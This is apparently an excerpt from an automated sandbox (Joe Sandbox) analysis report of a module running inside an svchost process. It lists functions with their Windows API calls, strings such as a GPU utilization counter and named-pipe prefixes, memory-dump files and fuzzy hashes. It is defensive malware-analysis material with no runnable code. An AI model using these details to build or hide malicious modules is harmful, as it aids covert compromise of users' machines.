Opcode Fuzzy Hash: 4320c3d255521c8809fbccc0c000ef70dc88065294953a5bba07585d713a8765
Instruction Fuzzy Hash: 0831DC31E18A6496F712CF92A4043DAB3B1F789BC9F444117EE8D43B24EF38C4598740

Function 00000179537A30B0 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 73
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

PdhGetCounterInfoW.PDH ref: 00000179537A310E
GetProcessHeap.KERNEL32 ref: 00000179537A311F
HeapAlloc.KERNEL32 ref: 00000179537A312D
PdhGetCounterInfoW.PDH ref: 00000179537A3143
StrCmpW.SHLWAPI ref: 00000179537A3158

Part of subcall function 00000179537A3558: StrCmpNW.SHLWAPI ref: 00000179537A357A
Part of subcall function 00000179537A3558: StrStrW.SHLWAPI ref: 00000179537A3594
Part of subcall function 00000179537A3558: StrToIntW.SHLWAPI ref: 00000179537A35BB

GetProcessHeap.KERNEL32 ref: 00000179537A3185
HeapFree.KERNEL32 ref: 00000179537A3193

Strings

\GPU Engine(*)\Utilization Percentage, xrefs: 00000179537A3151

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$CounterInfoProcess$AllocFree
String ID: \GPU Engine(*)\Utilization Percentage
API String ID: 1943346504-3507739905
Opcode ID: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction ID: ad2a23686253c9dae7c2068e57bb35f726f592bedf0220ca7a2f324de2bfa574
Opcode Fuzzy Hash: a2f2b6270209c0617fffbf8088b8af58c514d563d63196d61a77ac5b37470c57
Instruction Fuzzy Hash: 61318131A28F6186F752DFA6E85479A63B1F785F89F044127DE4E43B24EF38C4498600

Function 00000179537A7930 Relevance: 12.2, APIs: 8, Instructions: 230
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__scrt_dllmain_crt_thread_attach.LIBCMT ref: 00000179537A7958
__scrt_acquire_startup_lock.LIBCMT ref: 00000179537A79AA
_RTC_Initialize.LIBCMT ref: 00000179537A79D8
__scrt_dllmain_after_initialize_c.LIBCMT ref: 00000179537A79FE
__scrt_release_startup_lock.LIBCMT ref: 00000179537A7A29

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Initialize__scrt_acquire_startup_lock__scrt_dllmain_after_initialize_c__scrt_dllmain_crt_thread_attach__scrt_release_startup_lock
String ID:
API String ID: 190073905-0
Opcode ID: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction ID: f6d283d8385ea9a87ab5327fad51ca6933fedb54720d286f476f041588e6e2ca
Opcode Fuzzy Hash: 7ac826a7eb3537126ab8904f743de0d1d5af83f297bd596e103e72928a1e623e
Instruction Fuzzy Hash: 6E810631E2C2B196F6579BA998813D963F2A74778CF444067D90DC7796EF38C94E8700

Function 00000179537A9930 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 88libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

LoadLibraryExW.KERNEL32(?,?,?,00000179537A9AEF,?,?,?,00000179537A98B4,?,?,?,?,00000179537A94A5), ref: 00000179537A99B5
GetLastError.KERNEL32(?,?,?,00000179537A9AEF,?,?,?,00000179537A98B4,?,?,?,?,00000179537A94A5), ref: 00000179537A99C3
LoadLibraryExW.KERNEL32(?,?,?,00000179537A9AEF,?,?,?,00000179537A98B4,?,?,?,?,00000179537A94A5), ref: 00000179537A99ED
FreeLibrary.KERNEL32(?,?,?,00000179537A9AEF,?,?,?,00000179537A98B4,?,?,?,?,00000179537A94A5), ref: 00000179537A9A33
GetProcAddress.KERNEL32(?,?,?,00000179537A9AEF,?,?,?,00000179537A98B4,?,?,?,?,00000179537A94A5), ref: 00000179537A9A3F

Strings

api-ms-, xrefs: 00000179537A99D5

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Library$Load$AddressErrorFreeLastProc
String ID: api-ms-
API String ID: 2559590344-2084034818
Opcode ID: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction ID: 0f0b4730a1ba7bfcf0baa74fe338853f95d8d3eba7f9443d2628ab5ec01facb2
Opcode Fuzzy Hash: af1dc5fe93b083055cd8c5ce044ece591eb4d9ced34ab9dbf74db6faff57ed03
Instruction Fuzzy Hash: DA31A531B2AA64A1FE179B42A8507DD63B8FB47B68F594527DD2D07390EF38C459C300

Function 00000179537B1CBC Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 48fileCOMMON

Download Yara Rule

APIs

WriteConsoleW.KERNEL32 ref: 00000179537B1CED
GetLastError.KERNEL32 ref: 00000179537B1CF9
CloseHandle.KERNEL32 ref: 00000179537B1D11
CreateFileW.KERNEL32 ref: 00000179537B1D3C
WriteConsoleW.KERNEL32 ref: 00000179537B1D5B

Strings

CONOUT$, xrefs: 00000179537B1D1D

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast
String ID: CONOUT$
API String ID: 3230265001-3130406586
Opcode ID: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction ID: 2437a8b51684a13ae34f0f7689f0f0060c2104b9327bea4e9ef54d5ec47a7f7e
Opcode Fuzzy Hash: ef389f1408fdc57218b3d17a10d8552332256b0ab613155e2b85b84f861b2611
Instruction Fuzzy Hash: 4111B231B18B6486F7518B52E86835973B0F78AFE8F000226EA5D87794EF3CC948C740

Function 00000179537A31C0 Relevance: 9.1, APIs: 5, Strings: 1, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A31E3
HeapAlloc.KERNEL32 ref: 00000179537A31F6
StrCmpNIW.SHLWAPI ref: 00000179537A3277
GetProcessHeap.KERNEL32 ref: 00000179537A32DD
HeapFree.KERNEL32 ref: 00000179537A32EB

Strings

Dead, xrefs: 00000179537A3270

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$AllocFree
String ID: Dead
API String ID: 756756679-1293411866
Opcode ID: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction ID: fb8b43cd758de4931f8e82002fbe7b8cfd4fb9c6bffa49b051a15534a120ed0b
Opcode Fuzzy Hash: 16deceebbb86a4ee17dd3b940be503c67630b0e40e640d710b58a96d17f55941
Instruction Fuzzy Hash: B731B332F19B6182FB56DFD6A4443A963B0FB56B88F0440229F4C07B94EF38D4A98700

Function 00000179537A1934 Relevance: 9.0, APIs: 6, Instructions: 42stringCOMMON

Download Yara Rule

APIs

OpenProcess.KERNEL32 ref: 00000179537A195A
K32GetModuleFileNameExW.KERNEL32 ref: 00000179537A1978
PathFindFileNameW.SHLWAPI ref: 00000179537A1987
lstrlenW.KERNEL32 ref: 00000179537A1993
StrCpyW.SHLWAPI ref: 00000179537A19A6
CloseHandle.KERNEL32 ref: 00000179537A19B4

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID:
API String ID: 517849248-0
Opcode ID: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction ID: f80ac3cf0bbbfd5f16a2fdc16c31ab354769bbfe1f0ce3f257f61dd22aa88529
Opcode Fuzzy Hash: 16d258a9ac026dd37d62bcd9d6c3911ef3c0b7ca7915ee34a9afe05dd31b2e3e
Instruction Fuzzy Hash: 8F016D31B0CA9482FB15DB52A86839963B1FB89BC8F884136DE8E43754EF3CC589C740

Function 00000179537A19D8 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 30stringCOMMON

Download Yara Rule

APIs

GetFinalPathNameByHandleW.KERNEL32 ref: 00000179537A19F8
StrCmpNIW.SHLWAPI ref: 00000179537A1A12
lstrlenW.KERNEL32 ref: 00000179537A1A21
StrCpyW.SHLWAPI ref: 00000179537A1A36

Strings

\\?\, xrefs: 00000179537A1A06

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: FinalHandleNamePathlstrlen
String ID: \\?\
API String ID: 2719912262-4282027825
Opcode ID: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction ID: 13d5538f2ae6fa1a42b57c4935466a6d4d2f3ef02a1b7b3d65ff422c2a4f55fa
Opcode Fuzzy Hash: a3d7cacd1ebb440911515f68b3794a8df69f5abb31c63e6f26f50beb6be48af3
Instruction Fuzzy Hash: 2CF0443275869592F7219B55F4E43D96371F74578CF848022DA4D46654EF7CC68DC700

Function 00000179537AA258 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 24libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32 ref: 00000179537AA274
GetProcAddress.KERNEL32 ref: 00000179537AA28A
FreeLibrary.KERNEL32 ref: 00000179537AA2A7

Strings

CorExitProcess, xrefs: 00000179537AA283
mscoree.dll, xrefs: 00000179537AA26B

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction ID: de6d3a793f8961d7db89080c54d518dc201812c7f05fee8bdb25630fb0bc1cb0
Opcode Fuzzy Hash: e9186c1451144fd021b714c5c272bd718a2131959171b64afe02b1703c1f89a6
Instruction Fuzzy Hash: 67F08271B29A1081FF464FA0E8A47E52770EF8AB48F48141BA44F463A0EF38C4ECC310

Function 00000179537A54F0 Relevance: 7.8, APIs: 5, Instructions: 318threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 00000179537A5576

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentThread
String ID:
API String ID: 2882836952-0
Opcode ID: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction ID: df54e37cd1bacfb0d1eaac2903c943d60593f9e8d287c52316c6a2aa98a45e07
Opcode Fuzzy Hash: 5eb0f69eaa28739e7a3b5d30c3b7e3077147b945ee367a274f52b7d5e5995563
Instruction Fuzzy Hash: 9C02B83662DB9486E761CB59E49039AB7B1F3C5794F104116EACE87BA8DF7CC458CB00

Function 00000179537B0980 Relevance: 7.7, APIs: 5, Instructions: 202COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00000179537B09C2
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000179537B093F,?,?,?,00000179537AE263), ref: 00000179537B0A80
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,00000179537B093F,?,?,?,00000179537AE263), ref: 00000179537B0B0A

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction ID: 55b7a1aa93c86277cdfc95052223a7cc852c0b41211f4772ea7fec6daadce431
Opcode Fuzzy Hash: 6ea8d1c03a27889c2a76d2fa2108f5730873fa6bd6da2ede6083719aa30d033f
Instruction Fuzzy Hash: 7E81D032E18A7489FB629F6498A07EE2BB1F746B9CF444117DE0E53B91FB348449C710

Function 00000179537813D8 Relevance: 7.6, APIs: 5, Instructions: 56COMMON

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 0000017953781400
_set_statfp.LIBCMT ref: 000001795378141B
_set_statfp.LIBCMT ref: 0000017953781437
_set_statfp.LIBCMT ref: 0000017953781473

Memory Dump Source

Source File: 00000013.00000003.1829522378.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_17953770000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: dd4ff6265f6b4cd38b2e7c3e24edd108bbaa736065270b1acd5fa8270f663acf
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: 4611C272E5CA3001F7661268E4623E997707B9777CF180727EA7F473D69A18894DC200

Function 00000179537B1FD8 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000179537B2000
_set_statfp.LIBCMT ref: 00000179537B201B
_set_statfp.LIBCMT ref: 00000179537B2037
_set_statfp.LIBCMT ref: 00000179537B2073

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction ID: 0952cd0018406b670d3bd6cc0bca658b50102c8ef326c43d102b2efb4b1de044
Opcode Fuzzy Hash: 26a546e7bd77f8ca3fc0338f00591d5630f622d4a827b8b98863898f65805266
Instruction Fuzzy Hash: F3118A32E5DA2901F75B1524D4773E55370AB5737CF144627EF7E4A3E6AA18488DC304

Function 00000179537A3BB8 Relevance: 7.5, APIs: 5, Instructions: 45COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3BC6
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3BF4
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3C16
GetCurrentProcess.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3C34
VirtualProtectEx.KERNEL32(?,?,?,?,?,00000179537A3657), ref: 00000179537A3C55

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: CurrentProcessProtectVirtual$HandleModule
String ID:
API String ID: 1092925422-0
Opcode ID: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction ID: 8ea45ca38991729d93b33ef2d54d166a038282f39921ddbbf8f073f231299308
Opcode Fuzzy Hash: f49a43d8567c213b337cf74c33d87ea9f8b0f1b984059dad2b4cd4689300dbc7
Instruction Fuzzy Hash: 84117036B1C76492FB169F65E4142A9A3B1FB4AB88F040026DE8D07B94EF3DC548C700

Function 00000179537A3558 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 53COMMON

Download Yara Rule

APIs

StrCmpNW.SHLWAPI ref: 00000179537A357A
StrStrW.SHLWAPI ref: 00000179537A3594
StrToIntW.SHLWAPI ref: 00000179537A35BB

Part of subcall function 00000179537A1934: OpenProcess.KERNEL32 ref: 00000179537A195A
Part of subcall function 00000179537A1934: K32GetModuleFileNameExW.KERNEL32 ref: 00000179537A1978
Part of subcall function 00000179537A1934: PathFindFileNameW.SHLWAPI ref: 00000179537A1987
Part of subcall function 00000179537A1934: lstrlenW.KERNEL32 ref: 00000179537A1993
Part of subcall function 00000179537A1934: StrCpyW.SHLWAPI ref: 00000179537A19A6
Part of subcall function 00000179537A1934: CloseHandle.KERNEL32 ref: 00000179537A19B4

Part of subcall function 00000179537A3C70: StrCmpNIW.KERNELBASE(?,?,?,00000179537A255A), ref: 00000179537A3C88

Strings

pid_, xrefs: 00000179537A3570

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: FileName$CloseFindHandleModuleOpenPathProcesslstrlen
String ID: pid_
API String ID: 517849248-4147670505
Opcode ID: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction ID: 3e867b7d4d189a9cd719c490165554fb6eb336014189e9f604563abfe8a1f8ef
Opcode Fuzzy Hash: c190cf9c84f4fec237682ecde889163a3056c2ee0c0182666c83aa3720f1176d
Instruction Fuzzy Hash: 6E119036B28B6091FB52DB65E8153DA63B0F786788F8040229E4D83B94EF29C94DCB40

Function 00000179537A14A4 Relevance: 6.3, APIs: 5, Instructions: 37memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00000179537A14C5
HeapFree.KERNEL32 ref: 00000179537A14D4
GetProcessHeap.KERNEL32 ref: 00000179537A14E1
HeapFree.KERNEL32 ref: 00000179537A14F0
GetProcessHeap.KERNEL32 ref: 00000179537A1500

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: Heap$Process$Free
String ID:
API String ID: 3168794593-0
Opcode ID: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction ID: e78f26ca184d764000d89565f007e055ff26359903c14b84110eba1c98e71f14
Opcode Fuzzy Hash: 675c280ff13286ce7d146578b7a03c3a8db6339f083b3ff198ff4cd99f23170e
Instruction Fuzzy Hash: 1F015E32A18FA0C6E705DFA6E81818977B8F789F88F494426EA4D43718EF38C499C740

Function 00000179537A2618 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 187COMMON

Download Yara Rule

APIs

GetFileType.KERNEL32 ref: 00000179537A2701
StrCpyW.SHLWAPI ref: 00000179537A271A

Strings

\\.\pipe\, xrefs: 00000179537A270C

Memory Dump Source

Source File: 00000013.00000002.2945741012.00000179537A1000.00000020.00000001.00020000.00000000.sdmp, Offset: 00000179537A0000, based on PE: true

Associated: 00000013.00000002.2944981979.00000179537A0000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2946667615.00000179537B3000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2947430953.00000179537BD000.00000004.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948178325.00000179537BF000.00000002.00000001.00020000.00000000.sdmpDownload File
Associated: 00000013.00000002.2948931761.00000179537C5000.00000002.00000001.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_2_179537a0000_svchost.jbxd

Similarity

API ID: FileType
String ID: \\.\pipe\
API String ID: 3081899298-91387939
Opcode ID: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction ID: dc0b507d5e09e8eac221445b1832d89422a8f0a473ec454f1eb2ac7a0768d18a
Opcode Fuzzy Hash: 64816e4cd3ccee350da6ce7bbddcd7399f42add8e1b6bc9b0cc6ea827a19452e
Instruction Fuzzy Hash: 0871A332A187A186F76ADF2698543EE67B1F38B788F440017EE4D53B98DE34C6899700

Function 000001795377D178 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 176COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000001795377D249

Strings

bad array new length, xrefs: 000001795377D385, 000001795377D396
HIJKLMNOPQRSTUVWXYZ, xrefs: 000001795377D2A1, 000001795377D345

Memory Dump Source

Source File: 00000013.00000003.1829522378.0000017953770000.00000040.00000001.00020000.00000000.sdmp, Offset: 0000017953770000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_19_3_17953770000_svchost.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: HIJKLMNOPQRSTUVWXYZ$bad array new length
API String ID: 3215553584-4137334423
Opcode ID: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction ID: 6bc2694769228161bd14d36e3a6bfcb1cb197da451946efb8bacc1e32d88d287
Opcode Fuzzy Hash: f0e5866417592c2ff8c3377a202dd0391a84e675177e715dfbe21364aa16f179
Instruction Fuzzy Hash: D761A031E0C76482FAA79B2595403ED6BF4F74778CF15452BDA0E177A0DA38CA4E8310

Function 00000179537A95F0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 42COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlPcToFileHeader.NTDLL ref: 00000179537A9634
RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,00000179537A84FB), ref: 00000179537A967A

